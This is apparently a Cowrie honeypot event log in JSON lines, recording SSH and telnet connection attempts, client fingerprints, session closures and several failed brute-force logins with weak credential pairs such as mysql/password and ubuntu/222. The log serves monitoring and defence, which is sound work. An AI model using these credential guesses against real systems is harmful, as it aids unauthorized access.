{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:15.818934Z","src_ip":"201.184.50.251","session":"bd81c2ac8698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123qwe","message":"login attempt [ftptest/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:16.170584Z","src_ip":"201.184.50.251","session":"bd81c2ac8698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:17.255191Z","src_ip":"201.184.50.251","session":"bd81c2ac8698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46234,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb40dc2ab99","protocol":"telnet","message":"New connection: 69.6.196.124:46234 (159.203.135.109:23) [session: bdb40dc2ab99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:17.477949Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55278,"dst_ip":"159.203.135.109","dst_port":23,"session":"15f47348cdbe","protocol":"telnet","message":"New connection: 69.6.196.124:55278 (159.203.135.109:23) [session: 15f47348cdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:19.718222Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d0314f1c88","protocol":"telnet","message":"New connection: 69.6.196.124:55292 (159.203.135.109:23) [session: 91d0314f1c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:19.821010Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55308,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba806d568a5","protocol":"telnet","message":"New connection: 69.6.196.124:55308 (159.203.135.109:23) [session: bba806d568a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:20.494080Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55322,"dst_ip":"159.203.135.109","dst_port":23,"session":"7be840993152","protocol":"telnet","message":"New connection: 69.6.196.124:55322 (159.203.135.109:23) [session: 7be840993152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:23.117309Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55334,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07b542c995b","protocol":"telnet","message":"New connection: 69.6.196.124:55334 (159.203.135.109:23) [session: a07b542c995b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:24.597573Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55350,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e322030dddf","protocol":"telnet","message":"New connection: 69.6.196.124:55350 (159.203.135.109:23) [session: 5e322030dddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:25.470152Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55342,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b1e5622244","protocol":"telnet","message":"New connection: 69.6.196.124:55342 (159.203.135.109:23) [session: 50b1e5622244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:25.622583Z"}
{"eventid":"cowrie.session.closed","duration":120.00174713134766,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:30.035660Z","src_ip":"185.53.58.141","session":"5de9b6db26bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fbbaedebfb4","protocol":"telnet","message":"New connection: 69.6.196.124:55364 (159.203.135.109:23) [session: 0fbbaedebfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:30.044614Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":55378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2ac462b8c1","protocol":"telnet","message":"New connection: 69.6.196.124:55378 (159.203.135.109:23) [session: 2b2ac462b8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:30.485954Z"}
{"eventid":"cowrie.session.closed","duration":31.11894655227661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:33.179405Z","src_ip":"69.6.196.124","session":"cbbd5871a22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81385636329651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:36.660737Z","src_ip":"69.6.196.124","session":"2709cf95321d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77995753288269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:41.273788Z","src_ip":"69.6.196.124","session":"830d7d980edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097803354263306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:48.575672Z","src_ip":"69.6.196.124","session":"bdb40dc2ab99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44502,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce21c7020ad9","protocol":"telnet","message":"New connection: 69.6.196.124:44502 (159.203.135.109:23) [session: ce21c7020ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:48.882214Z"}
{"eventid":"cowrie.session.closed","duration":120.0010232925415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:50.300019Z","src_ip":"102.39.198.75","session":"2a10b26a261c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57650661468506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:50.397382Z","src_ip":"69.6.196.124","session":"91d0314f1c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":47559,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c4dd1ab936b","protocol":"telnet","message":"New connection: 102.39.198.75:47559 (159.203.135.109:23) [session: 2c4dd1ab936b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:50.816608Z"}
{"eventid":"cowrie.session.closed","duration":31.37163209915161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:51.089730Z","src_ip":"69.6.196.124","session":"15f47348cdbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251186847686768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:51.745180Z","src_ip":"69.6.196.124","session":"bba806d568a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.169187784194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:53.286376Z","src_ip":"69.6.196.124","session":"7be840993152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49948,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc17ccf7e1da","protocol":"telnet","message":"New connection: 69.6.196.124:49948 (159.203.135.109:23) [session: dc17ccf7e1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:53.472585Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49954,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e2d5a3af2ab","protocol":"telnet","message":"New connection: 69.6.196.124:49954 (159.203.135.109:23) [session: 2e2d5a3af2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:54.525222Z"}
{"eventid":"cowrie.session.closed","duration":31.151562452316284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:55.748985Z","src_ip":"69.6.196.124","session":"a07b542c995b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89899468421936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:56.369033Z","src_ip":"69.6.196.124","session":"5e322030dddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":51940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd89e9854602","protocol":"ssh","message":"New connection: 103.13.206.100:51940 (10.17.0.5:22) [session: dd89e9854602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:56.737699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:56.742179Z","src_ip":"103.13.206.100","session":"dd89e9854602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:56.970254Z","src_ip":"103.13.206.100","session":"dd89e9854602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.499479293823242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:57.121945Z","src_ip":"69.6.196.124","session":"50b1e5622244","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:57.919738Z","src_ip":"103.13.206.100","session":"dd89e9854602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:59.150562Z","src_ip":"103.13.206.100","session":"dd89e9854602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.070324659347534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:01.114867Z","src_ip":"69.6.196.124","session":"0fbbaedebfb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162376165390015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:01.648251Z","src_ip":"69.6.196.124","session":"2b2ac462b8c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":47394,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bdff5d6cf56","protocol":"ssh","message":"New connection: 41.63.62.103:47394 (10.17.0.5:22) [session: 3bdff5d6cf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:07.660442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:07.665146Z","src_ip":"41.63.62.103","session":"3bdff5d6cf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49936,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95327b92e40","protocol":"telnet","message":"New connection: 69.6.196.124:49936 (159.203.135.109:23) [session: f95327b92e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:07.733998Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:07.937783Z","src_ip":"41.63.62.103","session":"3bdff5d6cf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"222","message":"login attempt [ubuntu/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:09.061915Z","src_ip":"41.63.62.103","session":"3bdff5d6cf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:10.336347Z","src_ip":"41.63.62.103","session":"3bdff5d6cf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"307a0b1e0f8f","protocol":"ssh","message":"New connection: 201.184.50.251:54544 (10.17.0.5:22) [session: 307a0b1e0f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:13.049630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:13.056137Z","src_ip":"201.184.50.251","session":"307a0b1e0f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:13.147726Z","src_ip":"201.184.50.251","session":"307a0b1e0f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myappuser","password":"password","message":"login attempt [myappuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:13.544650Z","src_ip":"201.184.50.251","session":"307a0b1e0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:14.640241Z","src_ip":"201.184.50.251","session":"307a0b1e0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58150,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48eb14a72e2","protocol":"telnet","message":"New connection: 69.6.196.124:58150 (159.203.135.109:23) [session: d48eb14a72e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:17.542697Z"}
{"eventid":"cowrie.session.closed","duration":30.917147636413574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:19.799269Z","src_ip":"69.6.196.124","session":"ce21c7020ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f300aa11d517","protocol":"telnet","message":"New connection: 69.6.196.124:40582 (159.203.135.109:23) [session: f300aa11d517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:24.249124Z"}
{"eventid":"cowrie.session.closed","duration":31.624067783355713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:25.096551Z","src_ip":"69.6.196.124","session":"dc17ccf7e1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02704381942749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:25.552133Z","src_ip":"69.6.196.124","session":"2e2d5a3af2ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205045223236084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:38.938942Z","src_ip":"69.6.196.124","session":"f95327b92e40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":41992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02489cd2060","protocol":"ssh","message":"New connection: 103.129.221.202:41992 (10.17.0.5:22) [session: c02489cd2060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:38.943008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:38.946696Z","src_ip":"103.129.221.202","session":"c02489cd2060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:39.188080Z","src_ip":"103.129.221.202","session":"c02489cd2060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b9aa5e97b6","protocol":"telnet","message":"New connection: 69.6.196.124:36486 (159.203.135.109:23) [session: b4b9aa5e97b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:39.771747Z"}
